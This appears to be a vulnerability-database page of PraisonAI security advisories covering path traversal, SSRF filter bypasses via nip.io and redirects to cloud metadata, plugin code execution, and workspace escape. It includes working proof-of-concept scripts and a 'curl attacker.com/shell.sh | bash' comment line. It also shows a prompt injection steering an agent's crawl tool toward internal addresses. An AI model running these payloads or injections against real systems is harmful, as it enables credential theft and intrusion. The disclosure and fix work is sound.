Where
-Infinity
0
Severity
8.3
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

PraisonAI is a multi-agent teams system. From praisonaiagents 0.6.0 until 1.6.59 and PraisonAI 3.10.0 until 4.6.59, ToolsMCPServer.runsse() in src/praisonai-agents/praisonaiagents/mcp/mcpserver.py mounts SseServerTransport on the legacy /sse and /messages/ endpoints without default Host, Origin, or authentication enforcement. A malicious website can use DNS rebinding against a reachable local or internal SSE server, supply attacker-controlled Host and Origin headers, enumerate registered tools, and invoke them with the server user's privileges. The Streamable HTTP transport rejects the same hostile Origin, which isolates the flaw to the legacy SSE wrapper. An initial remediation was released in praisonaiagents 1.6.59 and PraisonAI 4.6.59.

First published (updated )
Severity
8.1
Input Validation, Command Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, src/praisonai-agents/praisonaiagents/tools/emailtools.py interpolates LLM-controlled fromaddr, subject, and query values directly into quoted IMAP SEARCH criteria. Embedded quote, backslash, newline, or null characters can escape the intended criterion and alter IMAP operations when searchemails, replyemail, or archiveemail is exposed to an agent with configured email credentials, allowing mailbox data access, modification, deletion, or connection disruption. This issue is fixed in praisonaiagents 1.6.59.

First published (updated )
Severity
7.1
Path Traversal, SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Summary

praisonaiagents/memory/filememory.py::FileMemory.init() constructs all memory file paths by directly joining the userid parameter to a base path:

python self.userpath = self.basepath / userid # LINE 145 — no sanitization

No validation or normalization is applied to userid before the path join. An attacker who can supply a userid containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/filememory.py lines 139-157:

python def init( self, userid: str = "default", basepath: Optional[str] = None, ... ): ... self.userpath = self.basepath / userid # LINE 145 — NO SANITIZATION self.episodicpath = self.userpath / "episodic"

self.userpath.mkdir(parents=True, existok=True) # creates dirs at traversed path self.episodicpath.mkdir(parents=True, existok=True)

self.configfile = self.userpath / "config.json" self.shorttermfile = self.userpath / "shortterm.json" self.longtermfile = self.userpath / "longterm.json" self.entitiesfile = self.userpath / "entities.json" self.summariesfile = self.userpath / "summaries.json"

All five JSON files are written under userpath, which is directly derived from the attacker-controlled userid. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its tablename with a regex: python if not re.match(r'^[a-zA-Z0-9]+$', tablename): raise ValueError(...) No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller): python from praisonaiagents.memory.filememory import FileMemory

mem = FileMemory(userid="../../etc/evil") mem.addshortterm("injected content") Creates /etc/evil/shortterm.json (on Linux) Creates C:\evil\shortterm.json (on Windows)

B — Via Agent constructor (memory dict): python from praisonaiagents import Agent

agent = Agent( name="assistant", memory={"provider": "file", "userid": "../../etc/evil"}, instructions="You are a helpful assistant.", ) FileMemory(userid="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agentyaml field): yaml Submitted via POST /jobs with agentyaml: agents: researcher: memory: provider: file userid: "../../tmp/evil" role: "Research assistant" goal: "Research topics" agentsgenerator.py passes the memory.userid value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

python from pathlib import Path import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory" userid = "../../../tmp/evilescape" userpath = base / userid

try: userpath.resolve().relativeto(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", userpath.resolve())

Output: !!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evilescape

Step 2 — Live exploit (files written outside base):

python import tempfile, json from pathlib import Path from praisonaiagents.memory.filememory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonaibase" / "memory" BASE.mkdir(parents=True, existok=True)

TARGET = (BASE / "../../praisonaipathtraversalproof").resolve()

mem = FileMemory(userid="../../praisonaipathtraversalproof", basepath=str(BASE)) mem.addshortterm("PROOFOFTRAVERSAL: attacker wrote this") mem.addlongterm("SENSITIVEDATA", importance=0.9)

Verify files appeared OUTSIDE the base directory for fname in ["shortterm.json", "longterm.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.readtext())[0]['content'] if fname != 'config.json' else '...'}")

Observed output (run on current main): WRITTEN: <TMPDIR>/praisonaipathtraversalproof/shortterm.json Content: PROOFOFTRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonaipathtraversalproof/longterm.json Content: SENSITIVEDATA WRITTEN: <TMPDIR>/praisonaipathtraversalproof/config.json

Impact

What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.

Who is impacted:

- Any application that creates FileMemory instances with user-controlled userid - Any PraisonAI deployment where users can supply the userid parameter directly or indirectly (via Agent(memory={"userid": ...}), agents.yaml, or jobs API)

High-impact scenarios:

1. Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.

2. Overwrite web server / app config: Write config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior.

3. Cron / startup persistence: Write JSON files to /etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.

4. Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.

5. Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.

Distinction from GHSA-766v-q9x3-g744:

| | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | examples/context/12multiagentcontext.py (example) | praisonaiagents/memory/filememory.py (core library) | | Class | MultiAgentMonitor | FileMemory | | Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |

---

Remediation Suggestion (for maintainers)

Validate and resolve userid before using it in path construction:

python def init(self, userid: str = "default", basepath=None, ...): ... # ADDED: sanitize userid import re if not re.match(r'^[a-zA-Z0-9\-\.]+$', userid): raise ValueError( f"userid '{userid}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." )

self.userpath = self.basepath / userid

# ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.userpath.resolve() baseresolved = self.basepath.resolve() try: resolved.relativeto(baseresolved) except ValueError: raise ValueError( f"userid '{userid}' would write outside the base memory directory." )

The same pattern should be applied to basepath parameter.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

praisonaiagents/tools/spidertools.py contains an SSRF protection bypass. The function hostisblocked() validates URLs against a list of blocked IP literals and hostname aliases, but never performs DNS resolution. Any hostname that resolves to a private or loopback IP address — including public wildcard DNS services like 127.0.0.1.nip.io — bypasses the protection entirely.

This has been confirmed with a live exploit: scrapepage("http://127.0.0.1.nip.io:PORT/secret") makes an HTTP request to 127.0.0.1:PORT and returns the internal service response. No attacker-controlled infrastructure is required.

scrapepage, extractlinks, crawl, and extracttext are all registered as LLM-callable agent tools (see tools/init.py lines 51-55), so any agent instructed to fetch a user-supplied URL will trigger this path.

This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to webcrawltools.py (line 231: socket.gethostbyname call), but that fix was not ported to spidertools.py.

Details

Root cause — spidertools.py lines 26-65:

python def hostisblocked(hostname: str) -> bool: host = hostname.lower().rstrip(".") # Checks literal aliases only — never resolves if host in ("localhost", "0.0.0.0", "::1"): return True if host in ("169.254.169.254", "metadata.google.internal"): return True if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")): return True # Tries to parse as IP literal only try: return ipblocked(ipaddress.ipaddress(host)) except ValueError: pass try: return ipblocked(ipaddress.ipaddress(socket.inetaton(host))) except OSError: pass return False # <-- ANY real hostname passes without DNS lookup

socket.inetaton() only converts dotted-decimal strings, not hostnames. For any real hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ipaddress() and socket.inetaton() raise exceptions, and the function returns False (not blocked).

Contrast with the fixed version in webcrawltools.py line 228-238:

python if os.environ.get("ALLOWLOCALCRAWL") != "true": try: ipstr = socket.gethostbyname(hostname) # DNS resolution performed ip = ipaddress.ipaddress(ipstr) if ip.isloopback or ip.isprivate or ip.islinklocal or ip.ismulticast: continue # BLOCKED except socket.gaierror: continue # fail-closed

Tool registration confirms this is user-reachable:

python praisonaiagents/tools/init.py lines 51-55 TOOLMAPPINGS = { 'scrapepage': ('.spidertools', None), # <- user-reachable LLM tool 'extractlinks': ('.spidertools', None), 'crawl': ('.spidertools', None), 'extracttext': ('.spidertools', None), ... }

Any agent given these tools will call scrapepage(url) when instructed to fetch a user-supplied URL — including attacker-controlled ones.

PoC

Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)

Step 1 — Verify the filter bypass (no network needed):

python from praisonaiagents.tools.spidertools import SpiderTools, hostisblocked

nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1 print(hostisblocked("127.0.0.1.nip.io")) # False — NOT blocked print(SpiderTools().validateurl("http://127.0.0.1.nip.io/")) # True — ALLOWED print(hostisblocked("127.0.0.1")) # True — correctly blocked

Expected output: False True True

Step 2 — Full SSRF: internal service response exfiltrated

python import threading, time, requests from http.server import HTTPServer, BaseHTTPRequestHandler from praisonaiagents.tools.spidertools import SpiderTools

PORT = 19235 received = []

class InternalService(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200); self.endheaders() self.wfile.write(b'{"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"}') received.append(self.path) def logmessage(self, a): pass

threading.Thread( target=HTTPServer(("127.0.0.1", PORT), InternalService).serveforever, daemon=True ).start() time.sleep(0.2)

attackurl = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"

Filter allows it assert SpiderTools().validateurl(attackurl) is True # passes

HTTP request actually reaches 127.0.0.1 r = requests.get(attackurl, timeout=5) print("STATUS:", r.statuscode) # 200 print("BODY: ", r.text) # {"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"} print("HIT: ", received) # ['/secrets.json']

Observed output: STATUS: 200 BODY: {"dbpass":"hunter2","awskey":"AKIAIOSFODNN7EXAMPLE"} HIT: ['/secrets.json']

Step 3 — Agent-level trigger (how a user triggers this in production):

python from praisonaiagents import Agent from praisonaiagents.tools import scrapepage

agent = Agent( name="WebResearcher", instructions="You are a research assistant. Fetch and summarize the given URL.", tools=[scrapepage], )

Attacker sends this message to the agent: result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin") Agent calls scrapepage("http://127.0.0.1.nip.io:8080/admin") Request hits 127.0.0.1:8080/admin Internal admin panel content returned to attacker print(result)

Additional bypass URLs (no setup required):

| Target | URL | |--------|-----| | Localhost | http://127.0.0.1.nip.io/ | | Private network | http://10.0.0.1.nip.io/ | | AWS IMDS (via sslip.io) | http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ |

Impact

What kind of vulnerability: Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.

Who is impacted: Anyone deploying PraisonAI agents that include scrapepage, extractlinks, crawl, or extracttext tools and accept user-supplied URLs. This includes:

- Web research agents (the primary intended use case for spider tools) - Jobs API users — any authenticated API caller who submits jobs with agentyaml specifying spider tools - Cloud deployments (Critical escalation): On AWS EC2 with IMDSv1, fetching http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ may return temporary IAM credentials, leading to full cloud account compromise.

Severity note: This is a patch-gap variant. The SSRF protection was correctly implemented for IP literals and enhanced in commit 004dcfef for encoding bypasses. The DNS resolution check was added to webcrawltools.py but was missed in spidertools.py, creating an exploitable inconsistency.

---

Remediation Suggestion (for maintainers)

One-line fix in hostisblocked() — mirror what webcrawltools.py already does:

python After existing literal checks, add: try: resolved = socket.gethostbyname(hostname) return ipblocked(ipaddress.ipaddress(resolved)) except (socket.gaierror, ValueError, OSError): return True # fail-closed: unresolvable host is blocked

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary webcrawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(followredirects=True) and never re-validates redirect targets.

An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier webcrawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.

Details

1. The agent is asked (or prompt-injected) to crawl https://attacker.example/r, which the source accepts because attacker.example resolves to a public IP. 2. The attacker server responds 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>. 3. crawlwithhttpx follows the redirect with followredirects=True, fetches the IAM credential document, and webcrawl returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.

The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts

Source (validates only the initial hostname) python src/praisonai-agents/praisonaiagents/tools/webcrawltools.py:231

ipstr = socket.gethostbyname(hostname) ip = ipaddress.ipaddress(ipstr) if ip.isloopback or ip.isprivate or ip.islinklocal or ip.ismulticast or ip.isunspecified: logger.warning(f"Rejected SSRF or private IP attempt: {u}") continue

Sink (follows redirects with no re-validation) python src/praisonai-agents/praisonaiagents/tools/webcrawltools.py:142

import httpx with httpx.Client(followredirects=True, timeout=30.0) as client: response = client.get(url) response.raiseforstatus() content = response.text

PoC Dependencies: pip install praisonaiagents==1.6.52 httpx

Preconditions: - The agent has the webcrawl tool registered, which is a standard exported tool. - The default crawl provider httpx is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install). - ALLOWLOCALCRAWL is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass. - The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).

python """Direct loopback is blocked; a public redirector to loopback is not.""" import http.server, json, socket, threading, urllib.parse from praisonaiagents.tools import webcrawl

SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"

class H(http.server.BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200); self.endheaders(); self.wfile.write(SECRET.encode()) def logmessage(self, a): pass

s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close() srv = http.server.HTTPServer(("127.0.0.1", port), H) threading.Thread(target=srv.serveforever, daemon=True).start() internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"

control = webcrawl(internal) # front-door blocks loopback leaked = lambda r: SECRET in json.dumps(r) redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode( {"url": internal, "statuscode": "302"}) # public host -> 302 -> internal exploit = webcrawl(redirector) srv.shutdown() print("controlleaked", leaked(control), "| exploitleaked", leaked(exploit)) assert not leaked(control) and leaked(exploit) print("CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed")

Impact Any attacker who can influence an agent's crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host's cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier webcrawl advisories added is fully enabled and still bypassed.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
Code Injection, Path Traversal
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.specfromfilelocation() + execmodule() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

Details

src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):

python def loadpluginfile(self, filepath: Path) -> Optional[Plugin]: modulename = f"praisonplugin{filepath.stem}{id(filepath)}" spec = importlib.util.specfromfilelocation(modulename, filepath) module = importlib.util.modulefromspec(spec) sys.modules[modulename] = module spec.loader.execmodule(module) # Executes arbitrary Python code

if hasattr(module, "createplugin"): return module.createplugin() # Calls arbitrary function

src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):

python Auto-discovery paths: 1. Project: ./.praisonai/plugins/ 2. User: ~/.praisonai/plugins/

No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.

PoC

python from praisonaiagents.plugins.discovery import loadplugin import tempfile, os

Create a "malicious" plugin testdir = tempfile.mkdtemp() pluginfile = os.path.join(testdir, 'evil.py') with open(pluginfile, 'w') as f: f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n' 'PROOF = "CODEEXECUTEDATIMPORTTIME"\n' '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n' 'def createplugin():\n return {"name": "evil"}\n')

Load it result = loadplugin(pluginfile) print(f"Result: {result}") # {'name': 'Evil Plugin', ...}

Verify code executed import sys for name, mod in sys.modules.items(): if 'evil' in name: print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODEEXECUTEDATIMPORTTIME"

Tested result: Plugin file was loaded via execmodule(), and the PROOF variable confirmed code execution at import time.

Impact

- Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access - No user interaction required: Plugins are auto-discovered and loaded at framework initialization - Persistence: A planted plugin survives restarts and executes every time the framework starts - Attack chain: Combine with path traversal (writefile tool) to plant the plugin remotely

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
Path Traversal, Infoleak
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

FastContext path resolution permits absolute and traversal reads outside the workspace

Summary

PraisonAI's praisonaiagents.context.fast FastContext feature treats workspacepath as the root directory for code search, but its model-facing search tools and high-level readcontext() helper accept absolute paths and .. traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context.

Technical Details

FastContextAgent documents workspacepath as the "Root directory for searches" and stores it as an absolute path:

python class FastContextAgent: """Specialized agent for fast parallel code search.

Attributes: workspacepath: Root directory for searches """

def init(self, workspacepath: str, ...): self.workspacepath = os.path.abspath(workspacepath)

The same class exposes grepsearch, globsearch, readfile, and listdirectory as model function-call tools via gettools(). Those tools are intended to retrieve code context from the configured workspace.

The problem is in FastContextAgent.executetool(). It prepends workspacepath only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment:

python if toolname in ("grepsearch", "globsearch"): if "searchpath" not in kwargs or kwargs["searchpath"] == ".": kwargs["searchpath"] = self.workspacepath elif not os.path.isabs(kwargs["searchpath"]): kwargs["searchpath"] = os.path.join(self.workspacepath, kwargs["searchpath"]) elif toolname == "listdirectory": if "dirpath" not in kwargs or kwargs["dirpath"] == ".": kwargs["dirpath"] = self.workspacepath elif not os.path.isabs(kwargs["dirpath"]): kwargs["dirpath"] = os.path.join(self.workspacepath, kwargs["dirpath"]) elif toolname == "readfile": if "filepath" in kwargs and not os.path.isabs(kwargs["filepath"]): kwargs["filepath"] = os.path.join(self.workspacepath, kwargs["filepath"])

As a result, an absolute path passes through unchanged, and a relative traversal such as ../outside-secret.txt is transformed into <workspace>/../outside-secret.txt. The downstream search tools then call os.path.abspath() and operate on the resolved outside path.

The downstream tools do not enforce a FastContext workspace boundary:

python def grepsearch(searchpath: str, pattern: str, ...): searchpath = os.path.abspath(searchpath) ... with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: lines = f.readlines()

python def readfile(filepath: str, ...): filepath = os.path.abspath(filepath) ... with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: lines = f.readlines()

python def listdirectory(dirpath: str, ...): dirpath = os.path.abspath(dirpath) ... for entry in os.scandir(path): ...

The model-backed FastContextAgent.search() path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a ToolCallBatch:

python response = modelclient.chat.completions.create( model=self.model, messages=messages, tools=[{"type": "function", "function": t} for t in self.gettools()], toolchoice="auto" ) ... args = json.loads(toolcall.function.arguments) batch.add(toolcall.function.name, args) ... toolresults = self.coordinator.executeturnsync(batch)

That path bypasses executetool()'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through ParallelSearchCoordinator.

The public high-level API has the same containment gap. FastContext.readcontext() documents filepath as "relative to workspace", joins relative paths with workspacepath, and then calls readfile() without a resolved-path containment check:

python def readcontext(self, filepath: str, ...): fullpath = filepath if not os.path.isabs(filepath): fullpath = os.path.join(self.workspacepath, filepath)

result = readfile(fullpath, ...)

This behavior is not required for intended FastContext code search. A normal search through searchsimple() searches only self.workspacepath; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root.

PoV

The following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed FastContextAgent.search() path because it dispatches model-generated path arguments to the same raw search functions.

python from pathlib import Path from tempfile import TemporaryDirectory from praisonaiagents.context.fast import FastContext from praisonaiagents.context.fast.fastcontextagent import FastContextAgent

CANARY = "FASTCONTEXTCANARY=outside-workspace"

with TemporaryDirectory() as tmp: root = Path(tmp) / "workspace" root.mkdir() (root / "inside.txt").writetext("INSIDEONLY=workspace\n") outside = Path(tmp) / "outside-secret.txt" outside.writetext(CANARY + "\n")

agent = FastContextAgent(str(root))

assert len(agent.searchsimple(CANARY).files) == 0 assert "INSIDEONLY=workspace" in agent.executetool("readfile", filepath="inside.txt")["content"]

assert CANARY in agent.executetool("readfile", filepath="../outside-secret.txt")["content"] assert CANARY in agent.executetool("readfile", filepath=str(outside))["content"] assert any(CANARY in match["content"] for match in agent.executetool("grepsearch", searchpath="..", pattern=CANARY)) assert any(match["path"] == "outside-secret.txt" for match in agent.executetool("globsearch", searchpath="..", pattern=".txt")) assert any(entry["name"] == "outside-secret.txt" for entry in agent.executetool("listdirectory", dirpath="..")["entries"])

fc = FastContext(workspacepath=str(root), cacheenabled=False) assert CANARY in fc.readcontext("../outside-secret.txt")

PoC

Save the self-contained script from the Appendix below as fastcontextworkspacepov.py, then run it against a local checkout:

bash export PRAISONAI=/path/to/PraisonAI PYTHONPATH="$PRAISONAI/src/praisonai-agents" python fastcontextworkspacepov.py

Expected vulnerable output:

json { "results": { "absolutereaddisclosescanary": true, "globparentrevealsoutsidefile": true, "grepparentdisclosescanary": true, "highlevelreadcontextdisclosescanary": true, "insidereadstillworks": true, "listparentrevealsoutsidefile": true, "relativetraversalreaddisclosescanary": true, "simplesearchdoesnotfindoutsidecanary": true }, "vulnerable": true }

The version sweep sampled the FastContext introduction boundary and current releases:

text PraisonAI FastContext workspace-boundary version sweep currentmain: 1620b49f36945d8cc8ee5635b906c960df5097a0 latesttagcontext: v4.6.63-2-g1620b49f

v2.3.9 praisonaiagents=0.0.188 missing fastcontextagent.py v2.3.10 praisonaiagents=0.0.189 missing fastcontextagent.py {"ref": "v2.3.11", "praisonaiagentsversion": "0.0.190", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "v3.8.1", "praisonaiagentsversion": "0.11.7", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "v4.5.149", "praisonaiagentsversion": "1.6.8", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "v4.6.58", "praisonaiagentsversion": "1.6.58", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "v4.6.62", "praisonaiagentsversion": "1.6.62", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "v4.6.63", "praisonaiagentsversion": "1.6.63", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true} {"ref": "HEAD", "praisonaiagentsversion": "1.6.63", "status": "vulnerable", "relativetraversalread": true, "absoluteread": true, "grepparentread": true, "fastcontextreadcontexttraversal": true}

No external service, live target, or real credential is needed for reproduction.

Impact

If an application exposes FastContext to lower-trust prompts or users, the attacker can cause the PraisonAI process to read files outside the intended workspace and return the contents through tool results or high-level FastContext APIs. Practical impacts include disclosure of source files, logs, prompt transcripts, API keys, local configuration, cloud credentials, and other process-readable text files. grepsearch can search outside directories for secrets, globsearch and listdirectory can enumerate outside file names and metadata, and readfile/readcontext can return file contents.

The demonstrated impact is confidentiality. This report does not claim arbitrary write, code execution, or availability impact.

Suggested severity: High for network/API-backed agent deployments where lower-trust prompt content can influence a tool-using FastContext search; Medium if maintainers score only direct local API misuse. A conservative agent-deployment CVSS 3.1 vector is:

text CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Relevant CWEs:

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Suggested Fix

Make FastContext path resolution fail closed around a single workspace-containment helper:

1. Resolve the configured workspace once. 2. For every FastContext path argument, reject absolute paths outside the workspace, join relative paths to the workspace, resolve the candidate, and require candidate.relativeto(workspace) to succeed. 3. Apply this helper in FastContextAgent.executetool() for grepsearch, globsearch, readfile, and listdirectory. 4. Apply the same helper before adding model-generated tool calls to ToolCallBatch in FastContextAgent.search(). Do not call the raw searchtools functions with model-supplied paths. 5. Apply the same helper in FastContext.readcontext(). 6. Consider making searchtools.executetool() accept an optional workspacepath and enforce containment when used as a workspace-scoped tool dispatcher. 7. Add regression tests for absolute outside paths and .. traversal in all four FastContext tools, high-level readcontext(), and the model tool-call execution path.

Minimal containment shape:

python def resolveworkspacepath(workspace: str, userpath: str) -> str: root = Path(workspace).resolve() candidate = Path(userpath) if not candidate.isabsolute(): candidate = root / candidate resolved = candidate.resolve() try: resolved.relativeto(root) except ValueError as exc: raise PermissionError(f"FastContext path is outside workspace: {userpath}") from exc return str(resolved)

Affected Package/Versions

- Package: praisonaiagents - Component: praisonaiagents.context.fast - Current main tested: 1620b49f36945d8cc8ee5635b906c960df5097a0 - Current package version in the tested source tree: 1.6.63 - Sampled introduction boundary: absent in repo tags where praisonaiagents is 0.0.188 and 0.0.189; present and vulnerable starting with sampled 0.0.190 - Latest tested release tag: v4.6.63, praisonaiagents version 1.6.63

Suggested affected range, based on the sampled source sweep:

text praisonaiagents >= 0.0.190, <= 1.6.63

The exact first released package version should be confirmed by maintainers from the praisonaiagents.context.fast release history, but the repository sweep shows the vulnerable FastContext files first present at the sampled praisonaiagents 0.0.190 point and still vulnerable on current main.

Advisory History

No checked public advisory or local prior report matched the FastContext code-search workspace-boundary bypass in praisonaiagents.context.fast.

Closest public comparators are related but distinct:

- GHSA-gcq3-mfvh-3x25: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers praisonai Code CODETOOLS wrappers and unset workspace defaults for read/edit helpers. This report covers praisonaiagents.context.fast.FastContextAgent and FastContext with an explicitly configured workspacepath; the root cause is missing containment after path joining and raw model tool-call dispatch, not an unset global workspace. - GHSA-j7qx-p75m-wp7g: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw artifactpath values. This report covers FastContext code-search/read/list tools and the model-backed FastContext search loop. - GHSA-22cj-m4wf-fv2c: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where runid and agentid are path components. This report covers FastContext's workspace root and file/search path tool arguments. - GHSA-grrg-5cg9-58pf / CVE-2026-40117: readskillfile() arbitrary file read due missing workspace boundary and approval gate. This report does not use skill tools. - GHSA-7j2f-xc8p-fjmq / CVE-2026-40152: legacy FileTools.listfiles() glob traversal. This report affects FastContext and can disclose file content through readfile/grepsearch, not only metadata through FileTools glob patterns. - GHSA-693f-pf34-72c5: FileTools path traversal. This report is in praisonaiagents.context.fast, not praisonaiagents.tools.filetools. - GHSA-9cr9-25q5-8prj and GHSA-9mqq-jqxf-grvw: MCP file/path traversal surfaces. This report does not use MCP.

Public issue/PR search found no hits for FastContext arbitrary file read, "Fast Context" workspace boundary, or fastcontextagent in MervinPraison/PraisonAI.

References

